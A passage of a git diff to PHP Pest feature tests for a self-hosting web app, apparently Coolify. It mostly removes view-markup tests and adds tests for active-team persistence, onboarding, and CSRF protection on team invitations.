+15,6 @@ it('disables page size controls when the gate denies access', function () {->toMatch('/<input[^>]*aria-label="Custom items per page"[^>]*\sdisabled(?:[=\s>])/');});-it('positions table dropdown panels outside overflowing containers', function () {- $html = Blade::render(<<<'BLADE'- <x-table.dropdown>- <x-slot:trigger><button type="button">Open</button></x-slot:trigger>- <button type="button">Option</button>- </x-table.dropdown>- BLADE);-- expect($html)- ->toContain('position: fixed')- ->toContain('getBoundingClientRect()')- ->toContain('x-on:scroll.window')- ->not->toContain('top-auto!');-});--it('renders compact client-side pagination', function () {- $html = Blade::render('<x-client-pagination summary="1-10 of 20" page-size-model="pageSize" storage-key="tests.page-size" />');-- expect($html)- ->toContain('1-10 of 20')- ->toContain('pageSize = pageSizeValue')- ->toContain("localStorage.getItem('tests.page-size')")- ->toContain('aria-label="Previous page"')- ->toContain('aria-label="Next page"')- ->not->toContain('aria-label="First page"')- ->not->toContain('aria-label="Last page"');-});-it('renders loading indicators for livewire page navigation', function () {$html = Blade::render('<x-table-pagination@@ -124,62 +68,3 @@ it('omits livewire loading markup when no wire target is provided', function ()->not->toContain('wire:target')->not->toContain('Loading page…');});--it('uses the shared pagination loading component on deployment history', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/deployment/index.blade.php'));-- expect($view)- ->toContain('<x-table-pagination')- ->toContain('<x-page-size-select')- ->toContain('wire-target="goToPage,previousPage,nextPage"')- ->toContain('wire:loading.class="opacity-50 pointer-events-none"')- ->toContain('wire:target="goToPage,previousPage,nextPage,toggleDeploymentFilter,clearFilter,setPullRequestFilter"');-});--it('uses the shared pagination loading component on environment variables', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));-- expect($view)- ->toContain('<x-table-pagination')- ->toContain('<x-page-size-select')- ->toContain('wire-target="setEnvironmentVariablePage,previousEnvironmentVariablePage,nextEnvironmentVariablePage"')- ->toContain('wire:loading.class="pointer-events-none opacity-40 blur-[2px]"');-});--it('uses the shared pagination loading component on team admin view', function () {- $view = file_get_contents(resource_path('views/livewire/team/admin-view.blade.php'));-- expect($view)- ->toContain('<x-table-pagination')- ->toContain('<x-page-size-select')- ->toContain('wire-target="setPage,previousPage,nextPage"');-});--it('offers page size selection on client-side paginated tables', function (string $view) {- $contents = file_get_contents(resource_path("views/{$view}"));-- expect($contents)- ->toContain('storage-key="coolify.page-size.')- ->toMatch('/<x-(page-size-select|client-pagination)/');-})->with([- 'team members' => 'livewire/team/member/index.blade.php',- 'api tokens' => 'livewire/security/api-tokens.blade.php',- 'volume backup executions' => 'livewire/project/shared/storages/volume-backups/executions.blade.php',- 'environment resources' => 'livewire/project/resource/index.blade.php',- 'projects' => 'livewire/project/index.blade.php',- 'project environments' => 'livewire/project/show.blade.php',- 'tagged resources' => 'livewire/tags/show.blade.php',-]);--it('uses compact client pagination on collection views', function (string $view) {- $contents = file_get_contents(resource_path("views/{$view}"));-- expect($contents)->toContain('<x-client-pagination');-})->with([- 'team members' => 'livewire/team/member/index.blade.php',- 'api tokens' => 'livewire/security/api-tokens.blade.php',- 'environment resources' => 'livewire/project/resource/index.blade.php',- 'projects' => 'livewire/project/index.blade.php',- 'project environments' => 'livewire/project/show.blade.php',- 'tags' => 'livewire/tags/show.blade.php',-]);diff --git a/tests/Feature/TagsShowPageTest.php b/tests/Feature/TagsShowPageTest.phpindex a159320f09..cb1fe725ee 100644--- a/tests/Feature/TagsShowPageTest.php+++ b/tests/Feature/TagsShowPageTest.php@@ -55,22 +55,6 @@ it('shows a card grid overview when tags exist and none is selected', function (->assertDontSee('Deploy webhook URL');});-it('includes filterable tags payload for the overview', function () {- Tag::create(['name' => 'hello', 'team_id' => $this->team->id]);- Tag::create(['name' => 'production', 'team_id' => $this->team->id]);-- $html = Livewire::test(Show::class)->html();-- expect($html)- ->toContain('hello')- ->toContain('production')- ->toContain('resourceCount')- ->toContain('applicationsCount')- ->toContain('servicesCount')- ->toContain('setViewMode')- ->toContain('filteredTags');-});-it('shows the tag detail layout with stats when a tag is selected', function () {$tag = Tag::create(['name' => 'hello', 'team_id' => $this->team->id]);@@ -96,12 +80,6 @@ it('shows the tag detail layout with stats when a tag is selected', function ()->assertSee('Redeploy all')->assertSee('tagged-app')->assertDontSee('No resources use this tag');-- $breadcrumbs = file_get_contents(resource_path('views/components/top-breadcrumb.blade.php'));- expect($breadcrumbs)- ->toContain('title="Tags"')- ->toContain("'label' => 'All tags'")- ->toContain("route('tags.show', ['tagName' => \$tag->name])");});it('shows empty resource and deployment states for an unused tag', function () {@@ -114,13 +92,6 @@ it('shows empty resource and deployment states for an unused tag', function () {->assertSee('Queued or running');});-it('adds spacing around the active deployments empty state', function () {- $view = file_get_contents(resource_path('views/livewire/tags/show.blade.php'));-- expect($view)- ->toMatch('/<div class="p-3">\s*<x-empty title="No active deployments"/');-});-it('redirects to the overview when the requested tag does not exist', function () {Tag::create(['name' => 'hello', 'team_id' => $this->team->id]);diff --git a/tests/Feature/Team/ActiveTeamPersistenceTest.php b/tests/Feature/Team/ActiveTeamPersistenceTest.phpindex a0cadd5fdb..c62ae8784e 100644--- a/tests/Feature/Team/ActiveTeamPersistenceTest.php+++ b/tests/Feature/Team/ActiveTeamPersistenceTest.php@@ -73,6 +73,24 @@ it('persists current_team_id when the active team changes via refreshSession', f->and(data_get(session('currentTeam'), 'id'))->toBe($second->id);});+it('persists the active team after a password login without saving a currentTeam column', function () {+ config()->set('app.maintenance.store', 'array');+ $user = User::factory()->create();+ $team = $user->teams->first();+ $team->update(['show_boarding' => false]);++ $this->post('/login', ['email' => $user->email, 'password' => 'password'])+ ->assertRedirect();++ expect(auth()->user()->getAttributes())->not->toHaveKey('currentTeam');++ // The next request persists the restored team through refreshSession(),+ // which saves the same authenticated user model.+ $this->get('/')->assertSuccessful();++ expect($user->fresh()->current_team_id)->toBe($team->id);+});+it('redirects a multi-team user with no stored team to the select screen', function () {[$user] = userWithTwoTeams();diff --git a/tests/Feature/TeamInvitationCsrfProtectionTest.php b/tests/Feature/TeamInvitationCsrfProtectionTest.phpindex 3495f4950f..e9445443cb 100644--- a/tests/Feature/TeamInvitationCsrfProtectionTest.php+++ b/tests/Feature/TeamInvitationCsrfProtectionTest.php@@ -1,14 +1,28 @@<?php+use App\Http\Middleware\VerifyCsrfToken;+use App\Models\InstanceSettings;use App\Models\Team;use App\Models\TeamInvitation;use App\Models\User;+use App\Providers\RouteServiceProvider;use Illuminate\Cookie\Middleware\EncryptCookies;use Illuminate\Foundation\Testing\RefreshDatabase;+use Illuminate\Support\Facades\Route;uses(RefreshDatabase::class);+/**+ * Personal teams start in onboarding, which redirects every page except onboarding itself.+ */+function finishInvitationTestOnboarding(): void+{+ Team::query()->update(['show_boarding' => false]);+}+beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0]);+$this->team = Team::factory()->create();$this->user = User::factory()->create(['email' => '[email protected]']);@@ -20,6 +34,8 @@ beforeEach(function () {'link' => url('/invitations/test-invitation-uuid'),'via' => 'link',]);++ finishInvitationTestOnboarding();});test('GET invitation shows landing page without accepting', function () {@@ -76,6 +92,14 @@ test('POST invitation accepts and adds user to team', function () {});test('POST invitation without CSRF token is rejected', function () {+ // Laravel skips CSRF verification while running unit tests, so enforce it explicitly+ $this->app->bind(VerifyCsrfToken::class, fn ($app) => new class($app, $app['encrypter']) extends VerifyCsrfToken+ {+ protected function runningUnitTests(): bool+ {+ return false;+ }+ });$this->actingAs($this->user);$response = $this->withoutMiddleware(EncryptCookies::class)@@ -100,6 +124,7 @@ test('unauthenticated user cannot view invitation', function () {test('wrong user cannot view invitation', function () {$otherUser = User::factory()->create(['email' => '[email protected]']);+ finishInvitationTestOnboarding();$this->actingAs($otherUser);$response = $this->get('/invitations/test-invitation-uuid');@@ -109,6 +134,7 @@ test('wrong user cannot view invitation', function () {test('wrong user cannot accept invitation via POST', function () {$otherUser = User::factory()->create(['email' => '[email protected]']);+ finishInvitationTestOnboarding();$this->actingAs($otherUser);$response = $this->post('/invitations/test-invitation-uuid');@@ -126,12 +152,21 @@ test('GET revoke route no longer exists', function () {$response = $this->get('/invitations/test-invitation-uuid/revoke');- $response->assertStatus(404);+ // Unknown paths fall through to the catch-all route, which redirects home+ expect(Route::has('team.invitation.revoke'))->toBeFalse();+ $response->assertRedirect(RouteServiceProvider::HOME);++ // The invitation must not be revoked by a GET request+ $this->assertDatabaseHas('team_invitations', [+ 'uuid' => 'test-invitation-uuid',+ ]);});test('POST invitation for already-member user deletes invitation without duplicating', function () {$this->user->teams()->attach($this->team->id, ['role' => 'member']);$this->actingAs($this->user);+ // With two teams, an active team must be selected or every page redirects to team selection+ session(['currentTeam' => $this->user->teams()->where('personal_team', true)->first()]);$response = $this->post('/invitations/test-invitation-uuid');diff --git a/tests/Feature/TeamInvitationUiTest.php b/tests/Feature/TeamInvitationUiTest.phpindex 949a301923..15798660a1 100644--- a/tests/Feature/TeamInvitationUiTest.php+++ b/tests/Feature/TeamInvitationUiTest.php@@ -1,7 +1,6 @@<?phpuse App\Livewire\Team\Invitations;-use App\Livewire\Team\InviteLink;use App\Models\InstanceSettings;use App\Models\Team;use App\Models\TeamInvitation;@@ -22,52 +21,6 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});-it('shows generate link with loading state targeting viaLink', function () {- $view = file_get_contents(resource_path('views/livewire/team/invite-link.blade.php'));-- expect($view)- ->toContain('wire:submit="viaLink"')- ->toContain('wire:target="viaLink"')- ->toContain('<x-forms.button type="submit" wire:target="viaLink"')- ->toContain('Generate link');-- Livewire::test(InviteLink::class)- ->assertSee('Generate link')- ->assertSeeHtml('wire:target="viaLink"')- ->assertSeeHtml('wire:loading.attr="disabled"')- ->assertSeeHtml('wire:loading.class="is-loading"');-});--it('renders a real copy button for pending invitation links', function () {- $invitation = TeamInvitation::create([- 'team_id' => $this->team->id,- 'uuid' => 'test-invitation-uuid-123456789012',- 'email' => '[email protected]',- 'role' => 'member',- 'link' => 'http://example.test/invitations/test-invitation-uuid-123456789012',- 'via' => 'link',- ]);-- $view = file_get_contents(resource_path('views/livewire/team/invitations.blade.php'));-- expect($view)- ->toContain('<x-copy-button :value="$invite->link" label="Copy invitation link" />');-- Livewire::test(Invitations::class, [- 'invitations' => TeamInvitation::ownedByCurrentTeam()->get(),- ])- ->assertSee($invitation->link)- ->assertSeeHtml('aria-label="Copy invitation link"')- ->assertSeeHtml('x-data="copyButton"')- ->assertSeeHtml('type="button"');-});--it('keeps clipboard logic in the shared copy button instead of a global helper', function () {- $layout = file_get_contents(resource_path('views/layouts/base.blade.php'));-- expect($layout)->not->toContain('copyToClipboard');-});-it('preserves a provisional user when revoking their invitation fails', function () {$provisionalUser = User::factory()->create(['email' => '[email protected]',diff --git a/tests/Feature/TeamScopedDestinationTest.php b/tests/Feature/TeamScopedDestinationTest.phpindex 1b43ffd039..fdb56c1f18 100644--- a/tests/Feature/TeamScopedDestinationTest.php+++ b/tests/Feature/TeamScopedDestinationTest.php@@ -338,7 +338,7 @@ describe('Destination/Show team scope', function () {Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid])->assertSee('General')->assertSee('Resources')- ->assertDontSee('Search resources...')+ ->assertDontSeeHtml('placeholder="Search resources"')->assertDontSee('No resources use this destination');});@@ -365,10 +365,10 @@ describe('Destination/Show team scope', function () {]));Livewire::test(DestinationResources::class, ['destination_uuid' => $this->destinationA->uuid])- ->assertSee('Search resources...')+ ->assertSeeHtml('placeholder="Search resources"')->assertSee('Project')->assertSee('Environment')- ->assertSee('Name')+ ->assertSee('Resource')->assertSee('Type')->assertSee('application-on-destination')->assertSee('service-on-destination')diff --git a/tests/Feature/TerminalPageHeaderTest.php b/tests/Feature/TerminalPageHeaderTest.phpindex c4b86b5d92..d53141ba62 100644--- a/tests/Feature/TerminalPageHeaderTest.php+++ b/tests/Feature/TerminalPageHeaderTest.php@@ -1,104 +1,5 @@<?php-it('shows the initial terminal target launcher and keeps the header picker for switching', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($view)- ->toContain('targetChosen: @js($selected_uuid !== \'default\')')- ->toContain('data-terminal-target-picker="launcher"')- ->toContain('x-show="!targetChosen"')- ->toContain('x-show="targetChosen"')- ->toContain('this.targetChosen = true;');-});--it('shows the pre-session target list as a page card instead of a full-height console canvas', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- $pickerBranch = str($view)- ->after("@if (\$selected_uuid === 'default')")- ->before("\n @else")- ->toString();-- expect($view)- ->toContain("@if (\$selected_uuid === 'default')")- ->toContain('data-terminal-target-picker="page"')- ->toContain('data-terminal-target-canvas')- ->toContain("@else\n <div wire:key=\"terminal-session-canvas\" data-terminal-session-canvas")- ->and($pickerBranch)- ->toContain('<x-application.settings-section class="terminal-target-card"')- ->toContain('title="Start a terminal session"')- // The themed console canvas belongs to an open session, not to target selection.- ->not->toContain('application-console-shell')- ->not->toContain(':data-console-theme="consoleTheme"')- ->not->toContain('<x-terminal.theme-selector');-});--it('keeps the pre-session target list scrollable inside the full-width card', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toContain('data-terminal-target-picker="page"')- ->toContain('aria-label="Filter terminal targets"')- ->toContain('class="application-settings-workspace flex w-full min-w-0 flex-col"')- ->toContain('class="terminal-target-card-list"')- ->and($styles)- ->toContain('.terminal-target-card .application-settings-section-body')- ->toMatch('/\.terminal-target-card-list\s*\{[^}]*max-height:\s*min\(70vh, 34rem\);/s')- ->toMatch('/\.terminal-target-group-label\s*\{[^}]*position:\s*sticky;/s')- // The wrapped filter needs the same gutter on both sides of the header, and the- // override must match the base header selector's specificity to win.- ->toMatch('/\.application-settings-section\.terminal-target-card > :is\(header, \.application-settings-section-header\)\s*\{\s*padding-right:\s*1rem;/s');-});--it('splits target rows into a name and a server column that only shows with several servers', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toContain("'name' => \$container['name'],")- ->toContain("'server' => \$server->name,")- ->toContain('multipleServers: @js($servers->count() > 1)')- ->toContain('x-text="target.name"')- ->toContain('class="terminal-target-item-server" x-text="target.server"')- ->toContain('x-show="multipleServers"')- // The label keeps both parts so filtering still matches the server name.- ->toContain("'label' => \$server->name.' · '.\$container['name'],")- ->and($styles)- ->toContain('.terminal-target-item-server');-});--it('loads targets inside the themed session picker with an accent scrollbar', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toContain('Finding available servers and containers…')- ->toContain('terminal-target-list')- ->toContain('Loading servers and containers…')- ->toContain("'--terminal-scrollbar': themeAccents[consoleTheme]")- ->and($styles)- ->toContain('.terminal-target-list')- ->toContain('var(--terminal-scrollbar')- ->toContain('.terminal-target-list::-webkit-scrollbar-thumb');-});--it('uses the same padded themed canvas for the active terminal session', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toContain('data-terminal-session-canvas')- ->toContain('p-3 sm:p-6')- ->toContain('terminal-session-panel flex min-h-0 flex-1 flex-col overflow-hidden p-3 sm:p-6')- ->and($styles)- ->toContain('.terminal-session-panel')- ->toContain('border-radius: 0.75rem;')- ->toMatch('/\.terminal-session-panel\s*\{[^}]*border:\s*0;/s')- ->toMatch('/\.terminal-session-panel\s*\{[^}]*background:\s*transparent;/s')- ->toMatch('/\.terminal-session-panel\s*\{[^}]*box-shadow:\s*none;/s');-});-it('keeps pre-connection and connected terminal canvases in distinct Livewire DOM branches', function () {$view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));@@ -106,255 +7,3 @@ it('keeps pre-connection and connected terminal canvases in distinct Livewire DO->toContain('wire:key="terminal-target-canvas"')->toContain('wire:key="terminal-session-canvas"');});--it('opens the global terminal outside Livewire navigation like resource terminals', function () {- $navbar = file_get_contents(resource_path('views/components/navbar.blade.php'));-- expect($navbar)- ->toContain('<a title="Terminal"')- ->toContain('href="{{ route(\'terminal\') }}"')- ->not->toMatch('/<a title="Terminal"[^>]*wireNavigate\(\)/s');-});--it('keeps the server terminal navigation active during Livewire requests', function () {- $sidebar = file_get_contents(resource_path('views/components/server/sidebar.blade.php'));- $navbar = file_get_contents(resource_path('views/livewire/server/navbar.blade.php'));-- expect($sidebar)- ->toContain("'active' => \$activeMenu === 'terminal'")- ->and($navbar)- ->toContain("'active' => \$currentRoute === 'server.command'");-});--it('uses floating rounded controls instead of the legacy terminal header bar', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($view)- ->toContain('terminal-session-toolbar')- ->toContain('terminal-session-target-trigger')- ->toContain('<x-terminal.theme-selector')- ->not->toContain('application-console-header flex h-[30px]');-});--it('offers the console theme selector only while a session owns the canvas', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $selector = file_get_contents(resource_path('views/components/terminal/theme-selector.blade.php'));-- expect(substr_count($view, '<x-terminal.theme-selector'))- ->toBe(1)- ->and($selector)- ->toContain('terminal-theme-trigger flex h-8 items-center gap-2 rounded-md px-2.5 text-xs font-medium')- ->and($view)- ->toContain('terminal-session-toolbar flex items-center gap-3 text-white select-none')- ->not->toContain('terminal-theme-trigger');-});--it('uses the same borderless control style for target and theme selectors', function () {- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- expect($globalView.$resourceView)- ->not->toContain('terminal-session-target-trigger flex h-9')- ->not->toContain('terminal-session-target-trigger flex h-8 min-w-0 max-w-sm cursor-pointer items-center gap-2 rounded-md border')- ->toContain('terminal-session-target-trigger flex h-8')- ->toContain('rounded-md px-2.5');-});--it('reuses one chevron theme selector before and during terminal sessions', function () {- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $selector = file_get_contents(resource_path('views/components/terminal/theme-selector.blade.php'));-- expect(substr_count($globalView.$resourceView, '<x-terminal.theme-selector'))- ->toBe(2)- ->and($selector)- ->toContain('terminal-theme-trigger')- ->toContain('viewBox="0 0 12 12"')- ->toContain('m3.5 4.75 2.5 2.5 2.5-2.5');-});--it('keeps the theme selector in the floating session toolbar', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($view)- ->toContain('terminal-session-toolbar flex items-center gap-3 text-white select-none')- ->toContain('<x-terminal.theme-selector')- ->not->toContain('class="absolute top-3 right-3 z-20"');-});--it('updates the owning terminal theme directly so its label and canvas stay synchronized', function () {- $globalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $resourceView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $selector = file_get_contents(resource_path('views/components/terminal/theme-selector.blade.php'));-- expect($globalView.$resourceView)- ->toContain('setTheme(theme)')- ->and($selector)- ->toContain('@click="setTheme(')- ->not->toContain("\$dispatch('terminal-theme-selected'");-});--it('places the terminal helper beside the page title instead of under the subtitle', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($view)- ->toContain('terminal-page-header shrink-0')- ->toContain('<div class="flex items-center gap-2">')- ->toContain('<h1 class="text-[24px]! leading-7! font-semibold! tracking-tight!">Terminal</h1>')- ->toContain('<x-helper')- ->toContain('Run commands on reachable servers and containers from the browser.')- ->not->toContain('flex items-center gap-1.5 text-[13px] text-neutral-500 dark:text-fg-dim');-});--it('locks the terminal page to the viewport so the document does not scroll', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($view)- // The viewport lock only applies once a session owns the canvas.- ->toContain("class=\"{{ \$selected_uuid === 'default' ? '' : 'terminal-page' }} application-settings-form\"")- ->toContain("'terminal-page-console min-h-0 w-full flex-1 overflow-hidden'")- ->not->toContain('h-[calc(100dvh-11rem)]')- ->not->toContain('min-h-[32rem]')- ->and($appCss)- ->toContain('.terminal-page')- ->toContain('height: calc(100dvh - 6.75rem)')- ->toContain('height: calc(100dvh - 7.25rem)')- ->toContain('overflow: hidden');-});--it('labels console themes without a Shadow\'s prefix', function () {- $terminalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $consoleView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- foreach ([$terminalView, $consoleView] as $view) {- expect($view)- ->toContain("['key' => 'system', 'name' => 'System'")- ->toContain("'name' => 'Tropical Storm'")- ->toContain("'name' => 'Blur Black'")- ->toContain("'name' => 'Cosmic Purple'")- ->not->toContain("Shadow's ");- }-});--it('defaults to a system console theme that follows the page color mode', function () {- $terminalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $consoleView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $terminalClient = file_get_contents(resource_path('js/terminal.js'));- $appCss = file_get_contents(resource_path('css/app.css'));-- foreach ([$terminalView, $consoleView] as $view) {- expect($view)- ->toContain("consoleTheme: 'system'")- ->toContain("? savedTheme : 'system'");- }-- expect($terminalClient)- ->toContain("'system': createSystemTerminalTheme()")- ->toContain('new MutationObserver')- ->toContain("attributeFilter: ['class', 'data-theme', 'style']")- ->and($appCss)- ->toContain('[data-console-theme="system"]')- ->toContain('html:not(.dark) .application-console-shell[data-console-theme="system"]')- ->toContain('--console-theme-border: oklch(87.11% 0.0055 286.29)')- ->toContain('background: transparent')- ->toContain('html.dark .application-console-shell[data-console-theme="system"]');-});--it('uses the page color mode for the console theme selector', function () {- $terminalView = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));- $consoleView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $selector = file_get_contents(resource_path('views/components/terminal/theme-selector.blade.php'));-- foreach ([$terminalView, $consoleView] as $view) {- expect($view)->toContain('<x-terminal.theme-selector');- }-- expect($selector)- ->toContain('console-theme-selector')- ->toContain('border-neutral-200 bg-white')- ->toContain('dark:bg-[#111113]')- ->toContain('text-neutral-600 transition-colors')- ->toContain('dark:text-white/65');-- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($appCss)- ->toContain('.console-theme-selector')- ->toContain('scrollbar-color: rgb(161 161 170) transparent')- ->toContain('html.dark .console-theme-selector')- ->toContain('scrollbar-color: rgb(255 255 255 / 0.28) transparent');-});--it('shows terminal unavailable without the terminal shell wrapper', function () {- $consoleView = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- $unavailableBranch = str($consoleView)- ->after('@if ($consoleUnavailable)')- ->before("@else\n <section class=\"mt-8 mb-0!")- ->toString();-- expect($consoleView)- ->toContain('$consoleUnavailable')- ->toContain('@if ($consoleUnavailable)')- ->toContain('title="Terminal unavailable"')- ->toContain('icon-name="browser-terminal"')- // Empty state must not nest inside the themed terminal chrome.- ->not->toContain('No running containers');-- expect($unavailableBranch)- ->toContain('<x-empty')- ->toContain('title="Terminal unavailable"')- ->not->toContain('application-console-shell')- ->not->toContain('application-console-header')- ->not->toContain('Choose terminal theme');-});--it('shows runtime logs unavailable without log viewer chrome', function () {- $logsView = file_get_contents(resource_path('views/livewire/project/shared/logs.blade.php'));-- $unavailableBranch = str($logsView)- ->after('@elseif ($logsUnavailable)')- ->before('@else')- ->toString();-- expect($logsView)- ->toContain('$logsUnavailable')- ->toContain('title="Runtime logs unavailable"')- ->toContain('icon-name="file-content"')- ->toContain('class="mt-4 w-full lg:mt-3"')- ->toContain('application-settings-workspace')- ->not->toContain('title="No running containers"')- ->not->toContain('application-settings-form');-- expect($unavailableBranch)- ->toContain('<x-empty')- ->toContain('title="Runtime logs unavailable"')- ->not->toContain('runtime-log-shell')- ->not->toContain('livewire:project.shared.get-logs')- ->not->toContain('logs-viewer-toolbar');-});--it('uses server and container icons in the target list but not on the closed dropdown trigger', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($view)- ->toContain("'type' => 'server'")- ->toContain("'type' => 'container'")- ->toContain("x-show=\"target.type === 'server'\"")- ->toContain("x-show=\"target.type === 'container'\"")- ->toContain('name="servers"')- ->toContain('name="layers"')- ->toContain('aria-label="Choose terminal target"')- // Trigger shows label + chevron only (no leading reicon inside the button).- ->toMatch('/aria-label="Choose terminal target">\s*<span class="min-w-0 truncate/');-});--it('shows loading targets without a leading terminal icon', function () {- $view = file_get_contents(resource_path('views/livewire/terminal/index.blade.php'));-- expect($view)- ->toContain('Loading targets…')- ->toMatch('/@if \(\$isLoadingContainers\)\s*<span class="min-w-0 truncate text-\[11px\] font-semibold text-white\/55">\s*Loading targets…/')- ->not->toMatch('/@if \(\$isLoadingContainers\)\s*<x-reicon name="browser-terminal"/');-});diff --git a/tests/Feature/ToastPositionTest.php b/tests/Feature/ToastPositionTest.phpindex d8b7e58790..93bfdb8e69 100644--- a/tests/Feature/ToastPositionTest.php+++ b/tests/Feature/ToastPositionTest.php@@ -2,46 +2,6 @@use Symfony\Component\Process\Process;-test('toast messages default to the bottom right while supporting position overrides', function () {- $toast = file_get_contents(resource_path('views/components/toast.blade.php'));-- expect($toast)- ->toContain("position: options.position ?? 'bottom-right'")- ->toContain("position: 'bottom-right'")- ->toContain("this.position = event.detail.position || 'bottom-right'")- ->toContain("'right-4 bottom-4 flex-col-reverse': position === 'bottom-right'")- ->toContain("'left-1/2 top-4 -translate-x-1/2 flex-col': position === 'top-center'");-});--test('toast copy button shows temporary success feedback', function () {- $toast = file_get_contents(resource_path('views/components/toast.blade.php'));-- expect($toast)- ->toContain('copied: false')- ->toContain('copyToast(toast)')- ->toContain('toast.copied = true')- ->toContain('toast.copied = false')- ->toContain('}, 2000)')- ->toContain('x-show="!toast.copied"')- ->toContain('x-show="toast.copied"')- ->toContain("'bg-emerald-100 text-emerald-700 dark:bg-emerald-500/10 dark:text-emerald-400': toast.copied");-});--test('subscription success uses a persistent standard toast instead of a banner', function () {- $view = file_get_contents(resource_path('views/livewire/layout-popups.blade.php'));- if ($view === false) {- throw new RuntimeException('Could not read layout popups view.');- }-- if (preg_match("/@if \\(request\\(\\)->query->get\\('success'\\)\\)(.*?)@endif/s", $view, $match) !== 1 || ! isset($match[1])) {- throw new RuntimeException('Could not locate the subscription success block.');- }-- expect($match[1])->toContain("window.toast('Welcome onboard!'")- ->toContain('persistent: true')- ->not->toContain('<x-banner>');-});-test('persistent toasts survive timers hover and new notifications until dismissed', function () {$process = new Process(['node', '-e', <<<'JS'const assert = require('node:assert/strict');diff --git a/tests/Feature/TrafficAnalytics/ApplicationAnalyticsTest.php b/tests/Feature/TrafficAnalytics/ApplicationAnalyticsTest.phpindex 4033e5e9f3..34582b4fe6 100644--- a/tests/Feature/TrafficAnalytics/ApplicationAnalyticsTest.php+++ b/tests/Feature/TrafficAnalytics/ApplicationAnalyticsTest.php@@ -116,13 +116,6 @@ function makeAnalyticsApplication(Team $team, PrivateKey $privateKey, Environmen]);}-it('only lazy loads application analytics when traffic analytics is enabled', function () {- $configuration = file_get_contents(resource_path('views/livewire/project/application/configuration.blade.php'));-- expect($configuration)- ->toContain(':lazy="$application->destination?->server?->isTrafficAnalyticsEnabled()"');-});-it('renders the disabled state in the initial application analytics page response', function () {$application = makeAnalyticsApplication($this->team, $this->privateKey, $this->environment, false);diff --git a/tests/Feature/TrafficAnalytics/DashboardTrafficAnalyticsTest.php b/tests/Feature/TrafficAnalytics/DashboardTrafficAnalyticsTest.phpindex 76a3c5b7ed..469e7dcd71 100644--- a/tests/Feature/TrafficAnalytics/DashboardTrafficAnalyticsTest.php+++ b/tests/Feature/TrafficAnalytics/DashboardTrafficAnalyticsTest.php@@ -153,37 +153,6 @@ it('shows only sparkline KPI cards that link through to the full analytics page'->assertDontSee($otherTeamApplication->uuid);});-it('shows loading states while the dashboard range refreshes', function () {- $view = file_get_contents(resource_path('views/livewire/dashboard/traffic-analytics.blade.php'));-- expect($view)- ->toContain('wire:loading.attr="disabled" wire:target="setRange"')- ->toContain('wire:loading.class="invisible" wire:target="setRange(\'24h\')"')- ->toContain('wire:loading wire:target="setRange(\'7d\')"')- ->toContain('wire:loading wire:target="setRange(\'30d\')"')- ->toContain('aria-label="Loading analytics"');-});--it('styles the open analytics link as a dashboard action button', function () {- $view = file_get_contents(resource_path('views/livewire/dashboard/traffic-analytics.blade.php'));-- expect($view)- ->toContain('class="group inline-flex h-7 shrink-0 items-center gap-1.5 rounded-md border border-neutral-200 bg-white px-2.5')- ->toContain('group-hover:translate-x-0.5');-});--it('uses the dashboard surface treatment for the analytics KPI group', function () {- $view = file_get_contents(resource_path('views/livewire/dashboard/traffic-analytics.blade.php'));-- expect($view)- ->toContain('rounded-xl border border-neutral-200 bg-neutral-200')- ->toContain('dark:border-white/[0.08] dark:bg-white/[0.07]')- ->toContain('dark:bg-[color-mix(in_srgb,var(--color-app)_95%,white)]')- ->toContain('dark:hover:bg-[color-mix(in_srgb,var(--color-app)_93%,white)]')- ->not->toContain('rounded-xl bg-neutral-200 ring-1 ring-neutral-200')- ->not->toContain('dark:bg-base dark:hover:bg-white/[0.03]');-});-it('hides dashboard analytics when every server fetch fails', function () {$serverOne = Server::factory()->create(['team_id' => $this->team->id,@@ -205,7 +174,6 @@ it('hides dashboard analytics when every server fetch fails', function () {loadLazy(Livewire::test(TrafficAnalytics::class))->assertOk()- ->assertSeeHtml('class="contents"')->assertDontSee('Traffic analytics')->assertDontSee('No analytics data yet')->assertDontSee('Unique visitors')@@ -226,11 +194,3 @@ it('renders nothing when no server in the team has traffic analytics enabled', f->assertDontSee('Unique 